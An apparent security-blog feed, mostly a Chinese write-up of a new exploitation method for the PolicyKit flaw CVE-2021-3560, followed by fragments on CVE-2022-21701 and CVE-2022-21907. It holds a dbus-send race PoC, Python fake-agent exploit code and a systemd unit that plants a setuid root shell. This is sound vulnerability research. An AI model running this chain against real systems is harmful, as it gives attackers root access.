而其他的多个角度,无论是继续进行0x01最后对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。

限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。

最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。

希望这篇文章能在技术点之外为各位带来启发。

To be continued....

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

27 May 2022 at 08:52
By: RicterZ
A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

 

English Version: http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation-en

0x01. The Vulnerability

PolicyKit CVE-2021-3560 是 PolicyKit 没有正确的处理错误,导致在发送 D-Bus 信息后立刻关闭程序后,PolicyKit 错误的认为信息的发送者为 root 用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
    /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
    string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

以上命令的作用是在发送 D-Bus 信息后,在一个极短的时间差后利用 kill 命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有 sudo 权限的用户。

根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:

  1. Account Daemon,此服务用来添加用户;
  2. Gnome Control Center,此服务会用 org.freedesktop.policykit.imply 修饰 Account Daemon 的方法;
  3. PolicyKit ≥ 0.113。

其中 Account Daemon 和 Gnomo Control Center 在非桌面版的系统、Red Hat Linux 等系统中并不存在,这无疑减小了漏洞的利用覆盖面。

但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在 PolicyKit 和一些基础 D-Bus 服务(比如 org.freedesktop.systemd1)的系统中仍然可以成功利用。在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及 PolicyKit 的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。

0x02. Do Really Need an Imply Annotated Action

在漏洞作者的文章中(https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)明确的写道:

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

大体含义就是必须要有 org.freedesktop.policykit.imply 修饰后的方法才能实现认证绕过。根据文章中的 PoC 来看,这一点确实是母庸质疑的。具体原因和漏洞原理结合的非常紧密,可以通过查看代码来理解。首先先看一下 CVE-2021-3560 的漏洞函数,代码基于 Github 上的 polkit 0.115 版本:

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
               guint32                       *out_uid,
               guint32                       *out_pid,
               GCancellable                  *cancellable,
               GError                       **error)
{

  // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixUser",      /* method */
        // ...
        &data);
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixProcessID", /* method */
        // ...
        &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE;

  return ret;
}


polkit_system_bus_name_get_creds_sync 函数调用了两个 D-Bus 方法后,没有处理 data.caugh_error,直接设置了 out_uiddata.uid,又由于 data.uid 为 NULL,从而导致 out_uid 为 NULL,也就是 0,为 root 用户的 uid,从而错误的认为这个进程为 root 权限进程。

但是需要注意的是,在遇到错误时,data.error 会被设置为错误的信息,所以这里需要接下来的函数只验证了 ret 是否为 TRUE,而不去验证有没有错误。幸运的是,PolicyKit 中一个用途非常广泛的函数 check_authorization_sync就没有验证:

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{
  // ...
  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL);
      goto out;
  }
  // ...
  if (!checking_imply) {
      actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
      for (l = actions; l != NULL; l = l->next) {
           // ...
           imply_action_id = polkit_action_description_get_action_id (imply_ad);
           implied_result = check_authorization_sync (authority, caller, subject,
                                                      imply_action_id,
                                                      details, flags,
                                                      &implied_implicit_authorization, TRUE,
                                                      &implied_error);
           if (implied_result != NULL) {
           if (polkit_authorization_result_get_is_authorized (implied_result)) {
               g_debug (" is authorized (implied by %s)", imply_action_id);
               result = implied_result;
               /* cleanup */
               g_strfreev (tokens);
               goto out;
           }
  // ...

这个函数有两处问题,第一个就是第一次调用 polkit_backend_session_monitor_get_user_for_subject 的时候直接返回 uid 为 0 的信息,然后直接通过认证,第二次是在检查 imply action 时,循环调用 check_authorization_sync 后再次遇到 polkit_backend_session_monitor_get_user_for_subject 返回 uid 为 0 的信息。所以此函数存在两个条件竞争的时间窗口:

check_authorization_sync 
-> polkit_backend_session_monitor_get_user_for_subject 
 -> return uid = 0

check_authorization_sync
 -> check_authorization_sync
  -> polkit_backend_session_monitor_get_user_for_subject 
   -> return uid = 0

漏洞作者分析到这里时,发现第一个竞争时间窗口并不能成功,因为后续调用 check_authorization_sync的函数都检查了错误信息,所以只能通过第二个时间窗口进行利用,也就是需要一个被 org.freedesktop.policykit.imply 修饰过的 action。首先解释下什么是 org.freedesktop.policykit.imply 修饰。

PolicyKit 的 action policy 配置文件通常在 /usr/share/polkit-1/actions/ 目录下,文件的内容如下所示:

<?xml version="1.0" encoding="UTF-8"?> <!--*-nxml-*-->
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">

<policyconfig>
        <vendor>The systemd Project</vendor>
        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

        <action id="org.freedesktop.systemd1.manage-unit-files">
                <description gettext-domain="systemd">Manage system service or unit files</description>
                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>
        </action>

        <action id="org.freedesktop.systemd1.reload-daemon">
                <description gettext-domain="systemd">Reload the systemd state</description>
                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

</policyconfig>

可以发现,org.freedesktop.systemd1.manage-unit-files 这个 action 拥有 org.freedesktop.policykit.imply 修饰,这个修饰的意义是,当一个 subject 拥有 org.freedesktop.systemd1.reload-daemon 或者 org.freedesktop.systemd1.manage-units 权限时,也同时拥有此项权限。所以被修饰过的方法基本上可以视作为和修饰方法等价的,这也就是这个修饰的作用。

话说回来,在实际上,被此漏洞所影响的上层函数并不止 check_authorization_sync ,如下所有函数都会被这个漏洞所影响:

  1. polkit_system_bus_name_get_creds_sync
  2. polkit_backend_session_monitor_get_user_for_subject
  3. check_authorization_sync

通过搜索代码,我发现了一个对我而言十分熟悉的函数调用了 polkit_backend_session_monitor_get_user_for_subject 函数:polkit_backend_interactive_authority_authentication_agent_response

static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,
                                                              PolkitSubject            *caller,
                                                              uid_t                     uid,
                                                              const gchar              *cookie,
                                                              PolkitIdentity           *identity,
                                                              GError                  **error)
{

  // ...
  identity_str = polkit_identity_to_string (identity);
  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
           cookie,
           identity_str);
  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                        caller, NULL,
                                                                        error);

  /* only uid 0 is allowed to invoke this method */
  if (!identity_is_root_user (user_of_caller)) {
      goto out;
  }
  // ...

这个方法是 PolicyKit 用来处理 Authentication Agent 调用的 AuthenticationAgentResponseAuthenticationAgentResponse2 方法的。那么,什么是 Authentication Agent,它又拥有什么作用呢?

0x03. What is Authentication Agent

在日常使用 Linux 的时候,如果不是利用 root 账号登录桌面环境,在执行一些需要 root 权限的操作时,通常会跳出一个对话框让你输入密码,这个对话框的程序就是 Authentication Agent:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

在命令行中,同样也有 Authentication Agent,比如 pkexec 命令:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

一个 Authentication Agent 通常为 suid 程序,这样可以保证调用 PolicyKit 的授权方法时的调用方(caller)为 root,而来自 root 用户的方法调用是可以信任的。Authencation Agent的认证流程如下所示:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation
  1. Client 在需要提升权限时,会启动 setuid 的 Authentication Agent;
  2. Authentication Agent 会启动一个 D-Bus 服务,用来接收 PolicyKit 的相关认证调用;
  3. Authentication Agent 会去 PolicyKit 注册自己,来接管对于客户端程序调用的 D-Bus 方法的认证请求: CheckAuthorization
  4. 当收到 CheckAuthorization 请求时,PolicyKit 会调用 Authencation Agent 的 BeginAuthentication 方法;
  5. Authentication Agent 接收到方法调用后,会要求用户输入密码进行认证;
  6. Authentication Agent 验证密码没有问题,则会调用 PolicyKit 提供的 AuthenticationAgentResponse 方法;
  7. PolicyKit 收到 AuthenticationAgentResponse 方法调用后,会检查调用方是不是 root 权限,接着会检查其他信息(cookie);
  8. 检查无误后,PolicyKit 对于 D-Bus Service 的 CheckAuthorization 方法返回 TRUE,表示认证通过;
  9. D-Bus Service 收到返回后,允许执行用户所调用的方法。

虽然流程较为复杂,但是不难发现,整个流程的信任保证主要是在第 7 步中验证 AuthenticationAgentResponse 的调用方是否为 root。但是由于 CVE-2021-3560 的存在,这个信任被打破了。所以我们可以通过伪造 AuthenticationAgentResponse 的调用方,来完成整个认证流程,实现任意 D-Bus Service 方法的调用。

0x04. Write Your Agent

利用 dbus-python 和相关 example 代码,我们可以实现一个 Authencation Agent 的基本骨架:

import os
import dbus
import dbus.service
import threading

from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop


class PolkitAuthenticationAgent(dbus.service.Object):
    def __init__(self):
        bus = dbus.SystemBus(mainloop=DBusGMainLoop())
        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
        self._bus = bus
        with open("/proc/self/stat") as stat:
            tokens = stat.readline().split(" ")
            start_time = tokens[21]

        self._subject = ('unix-process',
                         {'pid': dbus.types.UInt32(os.getpid()),
                          'start-time': dbus.types.UInt64(int(start_time))})

        bus.exit_on_disconnect = False
        dbus.service.Object.__init__(self, bus, self._object_path)
        self._loop = GLib.MainLoop()
        self.register()
        print('[*] D-Bus message loop now running ...')
        self._loop.run()

    def register(self):
        proxy = self._bus.get_object(
                'org.freedesktop.PolicyKit1',
                '/org/freedesktop/PolicyKit1/Authority')
        authority = dbus.Interface(
                proxy,
                dbus_interface='org.freedesktop.PolicyKit1.Authority')
        authority.RegisterAuthenticationAgent(self._subject,
                                              "en_US.UTF-8",
                                              self._object_path)
        print('[+] PolicyKit authentication agent registered successfully')
        self._authority = authority

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        self._bus.send_message(message)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()


if __name__ == '__main__':
    main()


接着尝试增加代码,进行调用:

def handler(*args):
    print('[*] Method response: {}'.format(str(args)))


def set_timezone():
    print('[*] Starting SetTimezone ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()
    time.sleep(1)
    threading.Thread(target=set_timezone).start()

运行程序:

[email protected]:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)

同时 PolicyKit 的输出为:

** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
  subject                system-bus-name::1.6846
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)

可见我们的 Authentication Agent 已经正常工作了,可以接收到 PolicyKit 发送的 BeginAuthentication 方法调用,并且PolicyKit 会提示 Only uid 0 may invoke this method,是因为我们的 AuthenticationAgentResponse 发送用户为 dev 用户而非 root 用户。

0x05. Trigger The Vulnerability

接下来尝试触发漏洞,我们尝试在发送完请求后立刻结束进程:

self._bus.send_message(message)
os.kill(os.getpid(), 9)

多次调用查看:

** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
  subject                system-bus-name::1.6921
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

可以发现,polkit_backend_interactive_authority_authentication_agent_response 函数的返回值为 TRUE,但是在 check_authorization_challenge_cb 函数中仍然是未授权状态,注意到 Error performing authentication 的错误信息,定位到函数 authentication_agent_begin_cb

static void
authentication_agent_begin_cb (GDBusProxy   *proxy,
                               GAsyncResult *res,
                               gpointer      user_data)
{
  error = NULL;
  result = g_dbus_proxy_call_finish (proxy, res, &error);
  if (result == NULL)
    {
      g_printerr ("Error performing authentication: %s (%s %d)\n",
                  error->message,
                  g_quark_to_string (error->domain),
                  error->code);
      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
        was_dismissed = TRUE;
      g_error_free (error);
    }
  else
    {
      g_variant_unref (result);
      gained_authorization = session->is_authenticated;
      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);
    }

代码逻辑为,当 g_dbus_proxy_call_finish 函数没有错误的情况下,才会设置 is_authenticated 为 TRUE。而 g_dbus_proxy_call_finish 函数的作用描述如下:

Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.

而同时错误信息也显示了:

Message recipient disconnected from message bus without replying

如果想成功的进行条件竞争,首先就需要解决这个问题。通过 dbus-monitor 命令观察正常情况和错误情况的调用结果,成功的情况如下所示:

method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371

失败的情况如下所示:

method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication 
method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 
error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply

其中 :1:3174 为 PolicyKit,:1.3301 为 Authentication Agent。成功的情况下,Authentication Agent 会发送一个 method return 消息,指向的是 BeginAuthentication 的调用序列号,表示这个方法已经成功调用了,而失败的情况下则是由 D-Bus Daemon 向 PolicyKit 发送一个 NoReply 的错误。

0x06. The Time Window

通过以上分析可以得到我们的漏洞触发的时间窗口:在发送 method return 消息后,在获取 AuthenticationAgentResponse2 的 caller 前结束进程。为了精确控制消息发送,我们修改 Authentication Agent 的代码如下:

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))


        def send(msg):
            self._bus.send_message(msg)

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        threading.Thread(target=send, args=(message, )).start()
        threading.Thread(target=send, args=(ret_message, )).start()
        os.kill(os.getpid(), 9)

查看 PolicyKit 输出,发现已经成功认证:

** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
  subject                system-bus-name::1.7428
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 1

同时系统时区也已经成功更改。

0x07. Before The Exploit

相比于漏洞作者给出的 Account Daemon 利用,我选择了使用 org.freedesktop.systemd1。首先我们摆脱了必须使用 org.freedesktop.policykit.imply 修饰过的方法的限制,其次因为这个 D-Bus Service 几乎在每个 Linux 系统都存在,最后是因为这个方法存在一些高风险方法。

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
...
  interface org.freedesktop.systemd1.Manager {
      ...
      StartUnit(in  s arg_0,
                in  s arg_1,
                out o arg_2);
      ...
      EnableUnitFiles(in  as arg_0,
                      in  b arg_1,
                      in  b arg_2,
                      out b arg_3,
                      out a(sss) arg_4);
      ...
  }
...

EnableUnitFiles 可以接受传入一组 systemd 单元文件路径,并加载进入 systemd,接着再调用ReloadStartUnit 方法后即可以 root 权限执行任意命令。systemd 单元文件内容如下:

[Unit]
AllowIsolate=no

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

看似流程非常明确,但是在实际利用中却出现了问题。问题出在 EnableUnitFiles  方法,首先编写代码调用此方法:

def enable_unit_files():
    print('[*] Starting EnableUnitFiles ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)

运行后输出如下:

[email protected]:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

可见并没有进入我们注册的 Authentication Agent,而是直接输出了 Interactive authentication required 的错误信息。通过实际的代码分析,定位到如下代码逻辑:

static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,
                                                          PolkitSubject                  *caller,
                                                          PolkitSubject                  *subject,
                                                          const gchar                    *action_id,
                                                          PolkitDetails                  *details,
                                                          PolkitCheckAuthorizationFlags   flags,
                                                          GCancellable                   *cancellable,
                                                          GAsyncReadyCallback             callback,
                                                          gpointer                        user_data)
{
  // ...
  if (polkit_authorization_result_get_is_challenge (result) &&
      (flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))
    {
      AuthenticationAgent *agent;
      agent = get_authentication_agent_for_subject (interactive_authority, subject);
      if (agent != NULL)
        {
          g_object_unref (result);
          result = NULL;

          g_debug (" using authentication agent for challenge");
          authentication_agent_initiate_challenge (agent,
                                                   // ...
          goto out;
        }
    }

这里检查了 Message Flags 的 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是不是为 0,如果是 0,则不会进入到使用 Authencation Agent 的分支。通过查阅文档,我发现 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是消息发送者可控的,D-Bus 的类库提供了相应的 setter:https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4,也就是 dbus_message_set_allow_interactive_authorization 方法。

但是当我去翻阅 dbus-python 的文档时,发现其并没有提供这个方法。于是我修改了版 dbus-python添加了此方法,地址为:https://gitlab.freedesktop.org/RicterZ/dbus-python

PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
    int value;
    if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
    if (!self->msg) return DBusPy_RaiseUnusableMessage();
    dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
    Py_RETURN_NONE;
}

同时这项修改已经提交 Merge Request 了,希望之后会被合并。

0x08. The Final Exploit

添加了 set_allow_interactive_authorization 后,利用 dbus-python 提供的低级接口构建消息:

def method_call_install_service():
    time.sleep(0.1)
    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')
    message.set_allow_interactive_authorization(True)
    message.set_no_reply(True)
    message.append(['/tmp/{}'.format(FILENAME)])
    message.append(True)
    message.append(True)
    bus2.send_message(message)

设置之后再发送即可收到 PolicyKit 发来的 BeginAuthentication 请求了。实际编写框架已经大体明了了,写一个利用出来并不困难。最终利用成功截图如下:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

Golang 和 C 版本的利用代码如下:

0x09. Conclusion

CVE-2021-3560 是一个危害被低估的漏洞,我认为是由于漏洞作者不是特别熟悉 D-Bus 和 PolicyKit 的相关机制导致错过了 Authentication Agent 的特性,从而构建出限制较大的 PoC。我自是不敢说精通 D-Bus 和 PolicyKit,但是在最近时间的漏洞挖掘和研究过程中,参考了大量的文档、历史漏洞分析,同时阅读了大量的代码后,才能意识到使用 Authentication Agent 来进行利用的可能性。

同时,作为一个 Web 漏洞的安全研究员,我自是将所有的东西都类型转换到 Web 层面去看待。D-Bus 和 Web 非常相似,在挖掘提权的过程中并没有受到特别大的阻力,却收获了非常多的成果。希望各位安全从业者通过 D-Bus 来入门二进制,跳出自己的舒适圈,也可以增加自己在漏洞挖掘中的视野(什么,内存破坏洞?想都不要想了,开摆.jpg)。

0x0a. Reference

Go template 遇上 yaml 反序列化 CVE-2022-21701 分析

16 April 2022 at 12:40
By: lazydog
该接口会按照传入的 使用函数生成访问的端点,又由于我们此前的操作覆盖了 文件中的 所以其对应的也跟着变动。

CVE-2022-21907 http协议远程代码执行漏洞分析总结

12 April 2022 at 06:42
By: yyjb

背景:

2021年最近的上一个http远程代码执行漏洞CVE-2021-31166中,由于其UAF的对象生命周期的有限性,似乎并不太可能在实际场景中实现利用。今年一月的安全更新中包含另一个http的远程代码执行漏洞CVE-2022-21907,根据官方更新说明这仍是一个非常严重的漏洞,我们有必要对他在实际环境中是否可能被利用进行进一步的判断。

开始准备分析之前的两点说明:

在开始分析之前,这里有两点分析过程中的思路提示需要提前说明。可以排除其他研究人员在理解这个漏洞可能产生的一些歧义。

A,最合适的补丁对比文件。

通常来说,我们在最开始选择对比的补丁文件时,尽量选择时间间隔最小的补丁文件。但是有时候,对于补丁文件的系统版本也非常重要。本例中,如果研究者使用server2019的http文件去分析,你会发现代码有太多改动是针对一些旧版代码的相对改动,并不是所有版本系统的某一模块都是一样的。

B,漏洞产生的方向。

这里我们说的方向主要指协议过程中,服务端和客户端的数据请求方向。通常来说一个可互联网蠕虫级别的漏洞,我们首先想到的触发方式可能是客户端向服务端发送请求,之后服务端在解析请求时发生的漏洞。如cve-2019-0708RDP代码执行漏洞以及永恒之蓝。但近年来随着这类漏洞发现的越来越困难,研究人员开始向将漏洞挖掘方向偏向于协议客户端的一些接收解析模块。但该漏洞似乎更加特殊,虽然它存在于服务端,却并不是解析处理客户端的具体数据内容模块,而是处于服务端接收客户端请求之后,进行的响应发送模块。

我们似乎并不能在最简单默认的http服务端系统配置中触发此漏洞,需要服务端包含一些特定的代码逻辑,该漏洞才会有比较大的威胁。具体来说,我们的poc代码是一个普通的http服务端代码,在其上加入有一些较小改动的特殊逻辑代码。只要客户端发起正常访问,即可触发服务端崩溃。

补丁分析:

我们使用最新的windows11的补丁文件进行分析。可以比较清晰的发现漏洞可能存在于这些代码中:ULpFastSendCompleteWorker,UlPFreeFastTracker,以及UlFastSendHttpResponse.中指针使用完之后清零的操作。另外有两处不太明显的代码即是申请FastTracker对象内存的函数:UlAllocateFastTracker和UlAllocateFastTrackerToLookaside.时,初始化部分头部内存。

通过梳理http快速响应包发送流程,我们可以发现这些补丁的作用都是针对FastTracker对象中的一些指针地址所进行的。

其中主要有以下三个对象指针。

FastTracker中的LogDatabuffer对象,UriCacheEntry对象以及一个FastTrackerMDL指针。

失败的尝试

通常来说,根据此漏洞的官方描述严重性,我们通常会先考虑这些对象是否存在UAF的情况。

我们优先分析了LogDatabuffer对象,UriCacheEntry对象的生命周期,如果仅从这两个对象的申请和释放过程判断,我们并没有找到较容易发现的触发可能的UAF错误方式。

之后开始考虑第三个FastTracker的MDL指针。

剩下的可能:

通过前面的测试结果以及分析思路,我们有留意到FastTracker本身在申请释放过程中其内存的一些变化,大致上,FastTracker对象的申请有两种情况,首先查看http响应结构中一些数据长度是否满足最低需求,以及http Tailers长度是否为空,满足条件则直接使用http内部链表对象,否则申请新的内存。问题在这里开始出现,补丁之前的代码,如果申请新内存,有一些关键偏移是没有初始化内存的。其中就包括FastTracker的MDL几个相关判断标志以及MDL本身的地址指针。

之后,思路就比较清晰了,我们需要做的就是构造这样的一个逻辑:当FastTracker申请内存成功之后,并在完全初始化MDL指针之前,故意触发一个HTTP快速响应流程中的任意一个错误,使http提前释放FastTracker对象。而这时,如果FastTracker对象中,未初始化的MDL相关指针位置包含申请内存时包含的一些随机数据,则可能导致这些随机数据被当作MDL指针进行引用。

